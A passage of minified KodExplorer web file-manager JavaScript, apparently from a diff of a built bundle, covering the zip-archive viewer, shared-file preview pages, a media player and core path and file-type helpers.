i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";a.before(s)}var r='<span class="time">'+date(LNG.time_type,t.mtime)+"</span>";r+='<span class="size">'+core.fileSize(t.size)+"</span>",r+='<span class="menu_more icon-ellipsis-vertical"></span>',$("#"+t.tId+"_span").after(r),a.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,a){$(e.target).hasClass("menu_more")||(t.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(u(i),t.selectNode(i))},onDblClick:function(e,i,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",t)}}},a=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var a=e[i];e[i]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),i[e[a].filename]=e[a]);for(var n in i)if(!i[n].folder)for(var o=core.pathFather(i[n].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in i){var r=i[n],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var a=t.getSelectedNodes()[0];switch(e){case"open":c(t,a);break;case"down":l(t,a);break;case"unzip_this":p(t,a);break;case"unzip_to":d(t,a);break;case"info":h(t,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(a)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&index="+t.index+"&name=/"+urlEncode(t.path),n=t.ext;"zip"==n&&(n="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var a=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var t=f(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},f=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),a="folder"==t.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=f(t);o.LNG=LNG,$.dialog({id:UUID(),padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:n(o),ok:!0})},m=function(e,t){var i=template.compile(tpl_zipview),a=i({LNG:LNG,treeID:e}),n=$.dialog({className:"zipViewDialog",ico:core.icon("zip"),title:t,width:550,height:420,content:a,resize:!0,padding:0,fixed:!0}),o=15*$(".zipViewContent").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o){var s=a(o),r="folderListZip"+UUID();s=ui.tree.treeDataSort(s),m(r,e),n(),s={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:s,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+r),i,s),t=$.fn.zTree.getZTreeObj(r),_(r),u(t.getNodeByParam("index","-1",null)) -},g=function(e){var i="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(i="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(i=G.app_host+"index.php?"+i,$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){Tips.close(a),a.code?(v(core.pathThis(e),a.data),t.setting.filePath=e,t.setting.fileUrl=i):ui.pathOpen.openUnknow(e,a.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'<div class="copyright_dialog_content">\n <div class="title">\n <div class="logo"><i class="icon-cloud"></i>{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}</div>\n <div class=\'info\'>——{{LNG.kod_name_copyright}}</div>\n </div>\n <div class="content">\n <p>{{#LNG.copyright_desc}}</p>\n <div>{{#LNG.copyright_contact}}</div>\n <div>{{#LNG.copyright_info}}</div> \n </div>\n</div>\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/share_common/topbar",[],function(){var e="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,t="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid;"1"==G.param_rewrite&&(e=e.replace("index.php?","index.php/"));var i=function(){"file"!=G.share_info.type&&G.path!==void 0?(t+="&path="+G.path,e+="&path="+G.path,$(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()):($(".btn.button_my_share").show(),$(".share_info_user .btn-group").hide()),"file"==G.share_info.type&&($(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()),"1"==G.share_info.not_download&&(e="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share_info_user").removeClass("hidden"),$(".btn_download").attr("href",e);var i=date("Y/m/d H:i:s",G.share_info.mtime);$(".topbar .time").html(i),"file"==G.share_info.type&&$(".topbar .size").html(G.share_info.size),$(".topbar .info").html(LNG.share_view_num+G.share_info.num_view+" "+LNG.share_download_num+G.share_info.num_download),$("#button_share").die("click").live("click",function(){share()})};return{init:i}}),define("app/src/share_index/fileShow",["../../common/myPlayer"],function(e){var t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,i="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid;"1"==G.param_rewrite&&(t=t.replace("index.php?","index.php/"));var a=function(){if(G.share_info!==void 0){var e=core.pathExt(G.share_info.path);G.path=htmlDecode(G.path),G.share_info.path=htmlDecode(G.share_info.path),"file"!=G.share_info.type&&(i+="&path="+urlEncode(G.path),t+="&path="+G.path),"1"==G.share_info.not_download&&(t="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),topbar.init(),c(e)}else $(".share_info").addClass("hidden")},n=function(){var e=core.pathExt(G.share_info.path),i=$(".bindary_box");i.removeClass("hidden"),i.find(".name").html(htmlEncode(G.share_info.name)),i.find(".ico").html(core.icon(e)),i.find(".btn_download").attr("href",t);var a=date("Y/m/d h:i",G.share_info.mtime);i.find(".share_time").html(a),i.find(".size span").html(G.share_info.size),$("body").addClass("can_select")},o=function(e){for(var t=[],i=0;e.length>i;i++)t[i]=e.charCodeAt(i).toString(16);return"&#"+String.fromCharCode(120)+t.join(";&#"+String.fromCharCode(120))+";"},s=function(){ace.require("ace/ext/language_tools");var e=ace.require("ace/ext/modelist"),t=ace.require("ace/lib/net");t.loadScript.hook("loadScript",t,function(){return"string"==typeof arguments[0]&&-1!==arguments[0].search("mode-php.js")&&(arguments[0]=arguments[0].replace("mode-php.js","mode-phhp.js")),arguments}),ace.config.moduleUrl.hook("moduleUrl",ace.config,function(){return-1!==arguments[0].search("php_worker")&&(arguments[0]=arguments[0].replace("php_worker","phhp_worker")),arguments}),$.get(i,function(t){var i=e.getModeForPath(G.share_info.path).mode,a='<pre class="code" id="ace_text_show">'+o(t)+"</pre>";$(".content_box").addClass("show_code").append(a);var n=ace.edit("ace_text_show");n.setTheme("ace/theme/tomorrow"),n.setReadOnly(!0),n.setShowPrintMargin(!1),n.getSession().setMode(i),n.getSession().setTabSize(4),n.getSession().setUseWrapMode(1),n.setFontSize(15)})},r=function(){e.async("lib/markdown/markdown-it.min",function(){var t=window.markdownit({html:!0,breaks:!0});$.get(i,function(i){var a=t.render(i),n=$(".content_box");n.addClass("markdown_preview can_select").append(a),n.find("a").attr("target","_blank");var o="<p>[TOC]</p>";if(-1!=n.html().indexOf(o)){var s=function(e){var t="";return e.find("h1,h2,h3,h4,h5,h6").each(function(){var e="markdown-"+$(this).text().replace(/\s+/g,"-"),i="markdown_menu_"+$(this)[0].tagName.toLowerCase();$(this).attr("data-link","#"+e),t+='<li class="'+i+'"><a href="#'+e+'">'+$(this).text()+"</a></li>"}),t="<div class='markdown_menu'><ul>"+t+"</ul></div>"},r=s(n),a=n.html();a=a.replace(o,r),a=a.replace(/ data-link="#(.*?)">/g,'><a name="$1" id="$1"></a>'),n.html(a)}e.async("lib/markdown/highlight.min",function(){$(".content_box").find("pre code").each(function(e,t){$(this).removeAttr("class"),hljs.highlightBlock(t)})}),e.async(["lib/markdown/katex/katex.min.js","lib/markdown/katex/katex.min.css","lib/markdown/katex/contrib/auto-render.min.js"],function(){renderMathInElement(n[0],[{left:"$$",right:"$$",display:!0}]),$(".katex-display").parent().addClass("markdown-latex"),n.find(".language-latex,.language-math,.language-katex").each(function(){try{var e=katex.renderToString($(this).text());if("string"!=typeof e)return;e='<div class="markdown-latex">'+e+"</div>",$(e).insertBefore($(this).parent()),$(this).parent().remove()}catch(t){}}),"function"==typeof callback&&callback()})})})},l=function(){var t=G.app_host+i,a=e("../../common/myPlayer");a.play([{url:t,name:G.share_info.name,ext:core.pathExt(G.share_info.path)}])},c=function(e){if("md"==e)return r(),void 0;if("swf"==e){var t=core.createFlash(htmlEncode(i),"");return $(".content_box").addClass("show_swf").append(t),void 0}if(inArray(core.filetype.image,e)){var t='<img src="'+htmlEncode(i)+'"/>';return $(".content_box").addClass("show_image").append(t),void 0}if(inArray(core.filetype.movie,e)||inArray(core.filetype.music,e))return l(),void 0;if(inArray(core.filetype.doc,e)||"pdf"==e){var a=G.share_info.path;"file"!=G.share_info.type&&(a=G.path);var o=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+a,t='<iframe src="'+o+'" frameborder="0" class="show_office"></iframe>';return $(".frame-main").addClass("office_page").append(t),$(".content_box").addClass("hidden"),void 0}return inArray(core.filetype.text,e)?(s(),void 0):(n(),void 0)};return{init:a}}),define("app/common/myPlayer",[],function(e){var t="",i="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==a&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e){var t={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},i=e.ext,a=t[i],n={extType:a,title:e.name,url:e.url,solution:"flv"==i||"f4v"==i?"flash":"html,flash"};return n[a]=e.url,n},c=function(e,t){if(t){var i=e.parents(".jPlayer"),a={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,a)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(t.title)},100)}},d=function(e){var t=e[0].ext,i=s(t),n=r(i),d=l(e[0]);n||(n=o(i),i==a&&p.init()),i==a&&(d=p.insert(n,e,t)),c(n,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],t=0,i=null,a="circle",n=function(a,n){i=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r].url){c=!0;break}if(c){if(r==n.length-1)return t!=d&&o(d),!1}else e.push(l(n[r]))}return e.length==s?!1:(t=e.length-1,u(!0),e[t])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,t=a;var n=e[a];c(i,n),u(!1)},s=function(i){switch(a){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),u(!0)},d=function(t){var i=e[t],a=i.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){t=0,e=[],a="circle";var i=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var t=n[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),a=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},u=function(a){var n=$(i).parents(".jPlayer");if(a){var o="";$.each(e,function(e,t){o+='<li class="item"> <span class="name">'+t.title+'</span> <div class="action-right"> <span class="download"><i class="icon-download-alt"></i></span> <span class="remove"><i class="icon-remove"></i></span> </div> </li>'}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(n.find(".item-title").html(e[t].title),n.find(".item").removeClass("this"),n.find(".item:eq("+t+")").addClass("this"),f(n.find(".player-bg")),void 0):(t=0,n.find(".item-title").html("&nbsp; "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var t=h(),i=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+t+", "+i+"); background-image: -moz-linear-gradient("+a+", "+t+", "+i+"); background-image: -o-linear-gradient("+a+", "+t+", "+i+"); background-image: -ms-linear-gradient("+a+", "+t+", "+i+"); background-image: linear-gradient("+a+", "+t+", "+i+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a){var o=s(a[0].ext);o==n?e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){t=jplayerTemplateMovie,d(a)}):e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){i=jplayerTemplateMusic,d(a)})},f=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:u,playSound:f}}); \ No newline at end of file +/*! power by kodexplorer ver3.43(2017-04-12) [build 1491993755092] */ +define("app/src/share_index/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core","../../share_common/topbar","./fileShow","../../common/myPlayer"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),topbar=e("../../share_common/topbar"),fileShow=e("./fileShow"),window.require=e,$(document).ready(function(){if(core.init(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),"undefined"!=typeof G){fileShow.init();var e=function(){var e=window.location.href+"&password="+$(".form-control").val();$.get(e,function(e){1==e.code?window.location.reload():Tips.tips(e)})};$(".share_login").click(e),$(".form-control").keyEnter(e)}})}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"<br/>")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var 